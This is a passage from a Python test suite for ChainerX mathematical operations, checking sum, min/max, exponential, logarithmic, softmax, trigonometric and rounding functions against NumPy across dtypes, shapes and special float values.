# Sum over axes that are in the middle or apart
((2, 3, 4), (1,)),
((2, 3, 4), (0, 2)),
# Sum over axes that are apart and/or unsorted
((2, 3), (1, 0)),
((2, 3, 4), (2, 0)),
((2, 3, 4), (2, 0, 1)),
((2, 3, 4), (-2, 2, 0)),
])
@chainer.testing.parameterize_pytest('keepdims', [True, False])
@chainer.testing.parameterize_pytest('is_module', [True, False])
class TestSum(UnaryMathTestBase, op_utils.NumpyOpTest):
input = 'random'
def setup(self):
super().setup()
in_dtype, = self.in_dtypes
if in_dtype == 'float16':
self.check_forward_options.update({'rtol': 1e-2, 'atol': 1e-2})
self.check_backward_options.update({'rtol': 1e-2, 'atol': 1e-2})
self.check_double_backward_options.update(
{'rtol': 1e-2, 'atol': 1e-2})
def func(self, xp, a):
if self.is_module:
return xp.sum(a, axis=self.axis, keepdims=self.keepdims)
else:
return a.sum(axis=self.axis, keepdims=self.keepdims)
@chainerx.testing.numpy_chainerx_array_equal(
accept_error=(chainerx.DimensionError, ValueError))
@pytest.mark.parametrize('keepdims', [False, True])
@pytest.mark.parametrize('shape,axis', [
# ((), 0), # TODO(sonots): Fix compatibility
((), 1),
((), (1,)),
((2,), 2),
((2,), (2,)),
((2,), (-2,)),
((2, 3,), (-3,)),
((2, 3,), (-3, -4)),
((2, 3,), (0, 0)),
((2, 3,), (-1, -1)),
((2, 3,), (0, 1, 1)),
((2, 3,), (0, -2)),
])
def test_sum_invalid(is_module, xp, shape, axis, keepdims, dtype):
a = array_utils.create_dummy_ndarray(xp, shape, dtype)
if is_module:
xp.sum(a, axis=axis, keepdims=keepdims)
else:
a.sum(axis=axis, keepdims=keepdims)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
'is_scalar_rhs': [False],
})
# Differentiable cases
+ chainer.testing.product({
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': [numpy.array([1, 3, 3, 4])],
'scalar_value': [0, 2, 5],
'is_scalar_rhs': [False, True],
})
# Non-differentiable cases
+ chainer.testing.product({
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': [numpy.array([1, 3, 3, 4])],
'scalar_value': [1, 3, 4],
'is_scalar_rhs': [False, True],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
# Special float values
+ chainer.testing.product({
'in_dtypes,scalar_type,out_dtype': (
_in_out_dtypes_float_arithmetic_scalar),
# TODO(imanishi): Add test for NaN.
'input': [numpy.array([0, float('inf'), -float('inf')])],
'scalar_value': [-1, 0, 1, float('inf'), -float('inf')],
'is_scalar_rhs': [False],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestMinimumScalar(MathScalarTestBase, op_utils.NumpyOpTest):
dodge_nondifferentiable = True
def func_scalar(self, xp, a, scalar):
if self.is_scalar_rhs:
return xp.minimum(a, scalar)
else:
return xp.minimum(scalar, a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': ['random'],
'scalar_value': [0, 1],
'is_scalar_rhs': [False],
})
# Differentiable cases
+ chainer.testing.product({
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': [numpy.array([1, 3, 3, 4])],
'scalar_value': [0, 2, 5],
'is_scalar_rhs': [False, True],
})
# Non-differentiable cases
+ chainer.testing.product({
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': [numpy.array([1, 3, 3, 4])],
'scalar_value': [1, 3, 4],
'is_scalar_rhs': [False, True],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
# Special float values
+ chainer.testing.product({
'in_dtypes,scalar_type,out_dtype': (
_in_out_dtypes_float_arithmetic_scalar),
# TODO(imanishi): Add test for NaN.
'input': [numpy.array([0, float('inf'), -float('inf')])],
'scalar_value': [-1, 0, 1, float('inf'), -float('inf')],
'is_scalar_rhs': [False],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestMaximumScalar(MathScalarTestBase, op_utils.NumpyOpTest):
dodge_nondifferentiable = True
def func_scalar(self, xp, a, scalar):
if self.is_scalar_rhs:
return xp.maximum(a, scalar)
else:
return xp.maximum(scalar, a)
def _create_dummy_array_for_dot(xp, shape, dtype):
x = numpy.arange(numpy.prod(shape)).reshape(shape)
if dtype == 'bool_':
x = numpy.asarray(x % 2 == 0)
else:
x = x.astype(dtype)
return xp.array(x)
# An association list that associates a dtype to the type which ChainerX's
# real-valued functions should return.
_in_out_float_dtypes_math_functions = [
# Float.
(('float16',), 'float16'),
(('float32',), 'float32'),
(('float64',), 'float64'),
]
_in_out_dtypes_math_functions = _in_out_float_dtypes_math_functions + [
# Signed int.
(('int8',), 'float32'),
(('int16',), 'float32'),
(('int32',), 'float32'),
(('int64',), 'float32'),
# Unsigned int.
(('uint8',), 'float32'),
# Bool.
(('bool_',), 'float32'),
]
_in_out_dtypes_math_binary_functions = dtype_utils._permutate_dtype_mapping([
# integer mixed
(('int8', 'int16'), 'float32'),
(('int8', 'int32'), 'float32'),
(('int8', 'int64'), 'float32'),
(('int8', 'uint8'), 'float32'),
(('int16', 'int32'), 'float32'),
(('int16', 'int64'), 'float32'),
(('int16', 'uint8'), 'float32'),
(('int32', 'int64'), 'float32'),
(('int32', 'uint8'), 'float32'),
(('int64', 'uint8'), 'float32'),
# integer float mixed
(('int8', 'float16'), 'float16'),
(('int8', 'float32'), 'float32'),
(('int8', 'float64'), 'float64'),
(('int16', 'float16'), 'float16'),
(('int16', 'float32'), 'float32'),
(('int16', 'float64'), 'float64'),
(('int32', 'float16'), 'float16'),
(('int32', 'float32'), 'float32'),
(('int32', 'float64'), 'float64'),
(('int64', 'float16'), 'float16'),
(('int64', 'float32'), 'float32'),
(('int64', 'float64'), 'float64'),
(('uint8', 'float16'), 'float16'),
(('uint8', 'float32'), 'float32'),
(('uint8', 'float64'), 'float64'),
# float mixed
(('float16', 'float32'), 'float32'),
(('float16', 'float64'), 'float64'),
(('float32', 'float64'), 'float64'),
])
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (1,), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': _in_out_dtypes_math_functions,
'input': [0, 2, -2],
})
# Special shapes (array.size = 0)
+ chainer.testing.product({
'shape': [(0), (2, 0, 3)],
'in_dtypes,out_dtype': _in_out_dtypes_math_functions,
'input': [0, 2, -2],
'check_numpy_strides_compliance': [False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': _in_out_float_dtypes_math_functions,
'input': [float('inf'), -float('inf'), float('nan')],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestExp(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.exp(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (1,), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': _in_out_dtypes_math_functions,
'input': [1, 3],
})
# Special shapes (array.size = 0)
+ chainer.testing.product({
'shape': [(0,), (2, 0, 3)],
'in_dtypes,out_dtype': _in_out_dtypes_math_functions,
'input': [1, 3],
'check_numpy_strides_compliance': [False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': _in_out_float_dtypes_math_functions,
'input': [float('inf'), -float('inf'), float('nan'), -1, 0],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestLog(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.log(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (1,), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': _in_out_dtypes_math_functions,
'input': [1, 3],
})
# Special shapes (array.size = 0)
+ chainer.testing.product({
'shape': [(0,), (2, 0, 3)],
'in_dtypes,out_dtype': _in_out_dtypes_math_functions,
'input': [1, 3],
'check_numpy_strides_compliance': [False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': _in_out_float_dtypes_math_functions,
'input': [float('inf'), -float('inf'), float('nan'), -1, 0],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestLog10(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.log10(a)
_logsumexp_params = [
((2,), 0),
((2,), -1),
((2, 3), None),
((2, 3), 0),
((2, 3), 1),
((2, 3), -2),
((2, 3), (0, 1)),
((2, 3), (-2, 1)),
((1, 2, 3), None),
((1, 2, 3), (1)),
((1, 2, 3), (1, 0)),
((1, 2, 3), (0, 1, 2)),
]
_invalid_logsumexp_params = [
# Axis out of bounds
((2,), 1),
((2,), -2),
((2,), (0, 1)),
((2, 3), (0, 1, 2)),
# Duplicate axes
((2,), (0, 0)),
((2, 3), (0, 0)),
]
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize_pytest(
'in_dtypes,out_dtype', _in_out_dtypes_math_functions)
@chainer.testing.parameterize_pytest('shape,axis', _logsumexp_params)
@chainer.testing.parameterize_pytest('keepdims', [True, False])
class TestLogSumExp(UnaryMathTestBase, op_utils.NumpyOpTest):
input = 'random'
def setup(self):
super().setup()
if self.in_dtypes == 'float16':
# TODO(imanishi): Support device implementation and remove this.
self.check_forward_options.update({'rtol': 3e-3, 'atol': 3e-3})
def forward_xp(self, inputs, xp):
x, = inputs
axis = self.axis
keepdims = self.keepdims
if xp is chainerx:
return chainerx.logsumexp(x, axis=axis, keepdims=keepdims),
x = x.astype(self.out_dtype)
return numpy.log(numpy.exp(x).sum(axis=axis, keepdims=keepdims)),
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('a_shape,axis', _invalid_logsumexp_params)
@pytest.mark.parametrize('keepdims', [True, False])
# TODO(hvy): Should not overflow for large numbers, add tests
def test_logsumexp_invalid(device, a_shape, axis, keepdims, dtype):
a = array_utils.create_dummy_ndarray(chainerx, a_shape, dtype)
with pytest.raises(chainerx.DimensionError):
chainerx.logsumexp(a, axis=axis, keepdims=keepdims)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize_pytest('shape,axis', _logsumexp_params)
@chainer.testing.parameterize_pytest(
'in_dtypes,out_dtype', _in_out_dtypes_math_functions)
class TestLogSoftmax(UnaryMathTestBase, op_utils.NumpyOpTest):
input = 'random'
def setup(self):
super().setup()
self.check_forward_options.update({'rtol': 3e-3, 'atol': 3e-3})
self.check_backward_options.update({'rtol': 3e-3, 'atol': 3e-3})
def forward_xp(self, inputs, xp):
x, = inputs
axis = self.axis
if xp is chainerx:
return chainerx.log_softmax(x, axis=axis),
x = x.astype(self.out_dtype)
axis = axis if axis is not None else 1
return x - numpy.log(numpy.exp(x).sum(axis=axis, keepdims=True)),
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('a_shape,axis', _invalid_logsumexp_params)
def test_log_softmax_invalid(device, a_shape, axis, dtype):
a = array_utils.create_dummy_ndarray(chainerx, a_shape, dtype)
with pytest.raises(chainerx.DimensionError):
return chainerx.log_softmax(a, axis=axis)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.float_dtypes)),
'input_lhs': ['random'],
'input_rhs': ['random'],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.float_dtypes)),
'input_lhs': ['random', float('inf'), -float('inf'), float('nan')],
'input_rhs': ['random', float('inf'), -float('inf'), float('nan')],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestSquaredDifference(op_utils.OpTest):
def setup(self):
x1_dtype, x2_dtype = self.in_dtypes
if x1_dtype == 'float16' or x2_dtype == 'float16':
self.check_forward_options.update({'atol': 3e-3, 'rtol': 3e-3})
self.check_backward_options.update({'atol': 1e-2, 'rtol': 5e-2})
self.check_double_backward_options.update(
{'atol': 1e-2, 'rtol': 5e-2})
def generate_inputs(self):
shape = self.shape
x1_dtype, x2_dtype = self.in_dtypes
x1 = array_utils.uniform(shape, x1_dtype)
x2 = array_utils.uniform(shape, x2_dtype)
return x1, x2
def forward_chainerx(self, inputs):
x1, x2 = inputs
y = chainerx.squared_difference(x1, x2)
return y,
def forward_expected(self, inputs):
x1, x2 = inputs
y = numpy.asarray(
numpy.square(numpy.subtract(x1, x2))).astype(x1.dtype)
return y,
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Differentiable
chainer.testing.product({
'input': [
numpy.asarray(0.),
numpy.asarray(-1.),
numpy.asarray(1.),
numpy.asarray(10.),
numpy.full((), 2.),
numpy.full((0,), 2.),
numpy.full((2, 3), 2.)
]})
+
# Nondifferentiable
chainer.testing.product({
'input': [
numpy.asarray(float('inf')),
numpy.asarray(float('nan')),
],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
@pytest.mark.parametrize('contiguous', [None, 'C'])
class TestSigmoid(op_utils.NumpyOpTest):
def setup(self, contiguous, float_dtype):
self.dtype = float_dtype
self.contiguous = contiguous
self.check_forward_options = {'atol': 5e-3, 'rtol': 5e-3}
if float_dtype == 'float16':
self.check_backward_options = {'atol': 5e-4, 'rtol': 5e-3}
self.check_double_backward_options = {'atol': 5e-3, 'rtol': 5e-2}
def generate_inputs(self):
return self.input,
def forward_xp(self, inputs, xp):
if xp is numpy:
return 1 / (1 + numpy.exp(-inputs[0])),
return xp.sigmoid(inputs[0]),
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize_pytest('shape,axis', _logsumexp_params)
@chainer.testing.parameterize_pytest(
'in_dtypes,out_dtype', _in_out_dtypes_math_functions)
class TestSoftmax(UnaryMathTestBase, op_utils.NumpyOpTest):
input = 'random'
def setup(self):
super().setup()
self.check_forward_options.update({'rtol': 3e-3, 'atol': 3e-3})
self.check_backward_options.update({'rtol': 3e-3, 'atol': 3e-3})
def forward_xp(self, inputs, xp):
x, = inputs
axis = self.axis
if xp is chainerx:
return chainerx.softmax(x, axis=axis),
x = x.astype(self.out_dtype)
axis = axis if axis is not None else 1
return numpy.exp(x) / (numpy.exp(x).sum(axis=axis, keepdims=True)),
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': _in_out_float_dtypes_math_functions,
'input': [-2, 0, 2],
'contiguous': [None, 'C'],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': _in_out_float_dtypes_math_functions,
'input': [float('inf'), -float('inf'), float('nan')],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestSquare(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.square(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (1,), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': _in_out_dtypes_math_functions,
'input': [1, 3],
})
# Special shapes (array.size = 0)
+ chainer.testing.product({
'shape': [(0,), (2, 0, 3)],
'in_dtypes,out_dtype': _in_out_dtypes_math_functions,
'input': [1, 3],
'check_numpy_strides_compliance': [False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': _in_out_float_dtypes_math_functions,
'input': [float('inf'), -float('inf'), float('nan'), -1, 0],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestSqrt(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.sqrt(a)
_trigonometric_hyperbolic_params = \
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': _in_out_dtypes_math_functions,
'input': [-2, 0, 2],
'contiguous': [None, 'C'],
}) + chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': _in_out_float_dtypes_math_functions,
'input': [1.57, 2, 3.14, float('inf'), -float('inf'), float('nan')],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
_trigonometric_hyperbolic_params
))
class TestSinh(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.sinh(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
_trigonometric_hyperbolic_params
))
class TestCosh(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.cosh(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
_trigonometric_hyperbolic_params
))
class TestTanh(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.tanh(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
_trigonometric_hyperbolic_params
))
class TestSin(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.sin(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
_trigonometric_hyperbolic_params
))
class TestCos(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.cos(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
_trigonometric_hyperbolic_params
))
class TestTan(UnaryMathTestBase, op_utils.NumpyOpTest):
dodge_nondifferentiable = True
check_backward_options = {'atol': 3e-5}
def func(self, xp, a):
return xp.tan(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': _in_out_float_dtypes_math_functions,
'input': ['random'],
'contiguous': [None, 'C'],
})
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': _in_out_float_dtypes_math_functions,
'input': [float('inf'), -float('inf'), float('nan')],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestAbs(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
assert chainerx.abs is chainerx.absolute
return xp.abs(a)
def _make_inverse_trig_params(name):
# Makes test parameters for inverse trigonometric functions
inverse_trig_differentiable_inputs = {
'arcsin': [-0.9, 0, 0.9],
'arccos': [-0.9, 0, 0.9],
'arctan': [-3, -0.2, 0, 0.2, 3],
'arcsinh': [-3, -0.2, 0, 0.2, 3],
'arccosh': [1.2, 3],
'arctanh': [-0.9, 0, 0.9],
}
inverse_trig_nondifferentiable_inputs = {
'arcsin': [-3, -1, 1, 3],
'arccos': [-3, -1, 1, 3],
'arctan': [],
'arcsinh': [],
'arccosh': [-3, 0, 0.2, 1],
'arctanh': [-3, -1, 1, 3],
}
nonfinite_numbers = [float('inf'), -float('inf'), float('nan')]
return (
# Various shapes and differentiable inputs
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': _in_out_dtypes_math_functions,
'input': inverse_trig_differentiable_inputs[name],
'contiguous': [None, 'C'],
})
+
# Nondifferentiable inputs
chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': _in_out_float_dtypes_math_functions,
'input': (
inverse_trig_nondifferentiable_inputs[name]
+ nonfinite_numbers),
'skip_backward_test': [True],
'skip_double_backward_test': [True],
}))
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
_make_inverse_trig_params('arcsinh')
))
class TestArcsinh(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.arcsinh(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
_make_inverse_trig_params('arccosh')
))
class TestArccosh(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.arccosh(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
_make_inverse_trig_params('arcsin')
))
class TestArcsin(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.arcsin(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
_make_inverse_trig_params('arccos')
))
class TestArccos(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.arccos(a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
_make_inverse_trig_params('arctan')
))
class TestArctan(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.arctan(a)
# Since the gradient of arctan2 is quite flaky.
# for smaller values especially `float16`.
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'in_shapes': _shapes_combination_binary,
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.float_dtypes)),
'input_lhs': [1],
'input_rhs': [2],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
# Differentiable points
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.float_dtypes)),
'input_lhs': [-3, -0.75, 0.75, 3],
'input_rhs': [-3, -0.75, 0.75, 3],
})
# Mixed dtypes
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': _in_out_dtypes_math_binary_functions,
'input_lhs': [-1.],
'input_rhs': [-1.],
})
# Special values
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.float_dtypes)),
'input_lhs': ['random', float('inf'), -float('inf'), float('nan'),
+0.0, -0.0],
'input_rhs': ['random', float('inf'), -float('inf'), float('nan'),
+0.0, -0.0],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestArctan2(BinaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a, b):
return xp.arctan2(a, b)
@chainerx.testing.numpy_chainerx_array_equal()
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('input', [
numpy.asarray(0.5),
numpy.asarray(-1.2),
numpy.asarray(10.9),
numpy.asarray(float('inf')),
numpy.asarray(-float('inf')),
numpy.asarray(float('nan')),
numpy.full((), 2.1),
numpy.full((0,), 2),
numpy.full((2, 3), 2.6),
numpy.full((1, 1), 1.01),
numpy.full((1, 1), 1.99),
])
@pytest.mark.parametrize('dtypes', _in_out_dtypes_math_functions)
@pytest.mark.parametrize('func', [
lambda xp, a: xp.ceil(a),
lambda xp, a: xp.floor(a)
])
def test_rounding_routines(func, xp, device, input, dtypes):
(in_dtype, ), out_dtype = dtypes
a = xp.array(input.astype(in_dtype))
a = func(xp, a)
a = dtype_utils.cast_if_numpy_array(xp, a, out_dtype)
return a
@chainerx.testing.numpy_chainerx_array_equal()
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('input', [
numpy.asarray(0), numpy.asarray(-1), numpy.asarray(
10), numpy.asarray(float('inf')), numpy.asarray(-float('inf')),
numpy.asarray(float('nan')), numpy.full(
(), 2), numpy.full((0,), 2), numpy.full((2, 3), 2)
])
def test_isnan(xp, device, input, dtype):
a = xp.array(input.astype(dtype))
return xp.isnan(a)
@chainerx.testing.numpy_chainerx_array_equal()
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('input', [
numpy.asarray(0), numpy.asarray(-1), numpy.asarray(
10), numpy.asarray(float('inf')), numpy.asarray(-float('inf')),
numpy.asarray(float('nan')), numpy.full(
(), 2), numpy.full((0,), 2), numpy.full((2, 3), 2)
])
def test_isinf(xp, device, input, dtype):
a = xp.array(input.astype(dtype))
return xp.isinf(a)
@chainerx.testing.numpy_chainerx_array_equal()
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('input', [
numpy.asarray(0), numpy.asarray(-1), numpy.asarray(
10), numpy.asarray(float('inf')), numpy.asarray(-float('inf')),
numpy.asarray(float('nan')), numpy.full(
(), 2), numpy.full((0,), 2), numpy.full((2, 3), 2)
])
def test_isfinite(xp, device, input, dtype):
a = xp.array(input.astype(dtype))
return xp.isfinite(a)
def test_max_amax():
assert chainerx.amax is chainerx.max
_minmax_params = [
# --- single axis
# input, axis
(numpy.asarray(0), None),
(numpy.asarray(-1), None),
(numpy.asarray(float('inf')), None),
(numpy.asarray(float('nan')), None),
(numpy.asarray(-float('inf')), None),
(numpy.asarray([4, 1, 4, 1]), None),
(numpy.asarray([4, 1, 4, 1]), 0),
(numpy.asarray([[4, 4, 1, 1], [4, 1, 4, 1]]), 0),
(numpy.asarray([[4, 4, 1, 1], [4, 1, 4, 1]]).T, 1),
(numpy.asarray([-0.0, +0.0, +0.0, -0.0]), None),
(numpy.asarray([[True, True, False, False],
[True, False, True, False]]), 0),
(numpy.ones((2, 3)), 1),
(numpy.ones((2, 3)), -2),
# --- multiple axes
# input, axis
(numpy.asarray([[1, 4, 3, 1], [4, 6, 3, 2], [2, 3, 6, 1]]), (0, 1)),
(numpy.asarray([[1, 4, 3, 1], [4, 6, 3, 2], [2, 3, 6, 1]]), (-2, -1)),
]
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
chainer.testing.product({
'shape,axis': [
((), None),
((4,), None),
((4,), 0),
((4, 2), None),
((4, 2), 0),
((4, 2), 1),
((4, 2), -2),
((4, 3), (0, 1)),
((4, 3), (-2, -1)),
],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(1, chainerx.testing.all_dtypes)),
'is_module': [True, False],
}) +
chainer.testing.product({
'array,axis': _minmax_params,
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(1, chainerx.testing.all_dtypes)),
'is_module': [True, False],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestMax(UnaryMathTestBase, op_utils.NumpyOpTest):
dodge_nondifferentiable = True
def generate_inputs(self):
in_dtype, = self.in_dtypes
if hasattr(self, 'array'):
return self.array.astype(in_dtype),
return array_utils.uniform(self.shape, in_dtype),
def func(self, xp, a):
if self.is_module:
return xp.max(a, self.axis)
else:
return a.max(self.axis)
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('array,axis', [
(numpy.ones((2, 3)), 2),
(numpy.ones((2, 3)), -3),
(numpy.asarray([[1, 4, 3, 1], [4, 6, 3, 2], [2, 3, 6, 1]]), (1, 1)),
(numpy.asarray([[1, 4, 3, 1], [4, 6, 3, 2], [2, 3, 6, 1]]), (-3, 1)),
(numpy.asarray([[1, 4, 3, 1], [4, 6, 3, 2], [2, 3, 6, 1]]), (1, 2)),
])
@pytest.mark.parametrize('dtype', chainerx.testing.all_dtypes)
@pytest.mark.parametrize('is_module', [True, False])
def test_max_invalid_shapes_and_axis(device, array, axis, dtype, is_module):
a = chainerx.array(array).astype(dtype)
with pytest.raises(chainerx.DimensionError):
if is_module:
chainerx.max(a, axis)
else:
a.max(axis)
def test_min_amin():
assert chainerx.amin is chainerx.min
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
chainer.testing.product({
'shape,axis': [
((), None),
((4,), None),
((4,), 0),
((4, 2), None),
((4, 2), 0),
((4, 2), 1),
((4, 2), -2),
((4, 3), (0, 1)),
((4, 3), (-2, -1)),
],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(1, chainerx.testing.all_dtypes)),
'is_module': [True, False],
}) +
chainer.testing.product({
'array,axis': _minmax_params,
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(1, chainerx.testing.all_dtypes)),
'is_module': [True, False],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestMin(UnaryMathTestBase, op_utils.NumpyOpTest):
dodge_nondifferentiable = True
def generate_inputs(self):
in_dtype, = self.in_dtypes
if hasattr(self, 'array'):
return self.array.astype(in_dtype),
return array_utils.uniform(self.shape, in_dtype),
def func(self, xp, a):
if self.is_module:
return xp.min(a, self.axis)
else:
return a.min(self.axis)
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('array,axis', [
(numpy.ones((2, 3)), 2),
(numpy.ones((2, 3)), -3),
(numpy.asarray([[1, 4, 3, 1], [4, 6, 3, 2], [2, 3, 6, 1]]), (1, 1)),
(numpy.asarray([[1, 4, 3, 1], [4, 6, 3, 2], [2, 3, 6, 1]]), (-3, 1)),
(numpy.asarray([[1, 4, 3, 1], [4, 6, 3, 2], [2, 3, 6, 1]]), (1, 2)),
])
@pytest.mark.parametrize('dtype', chainerx.testing.all_dtypes)
@pytest.mark.parametrize('is_module', [True, False])
def test_min_invalid_shapes_and_axis(device, array, axis, dtype, is_module):
a = chainerx.array(array).astype(dtype)
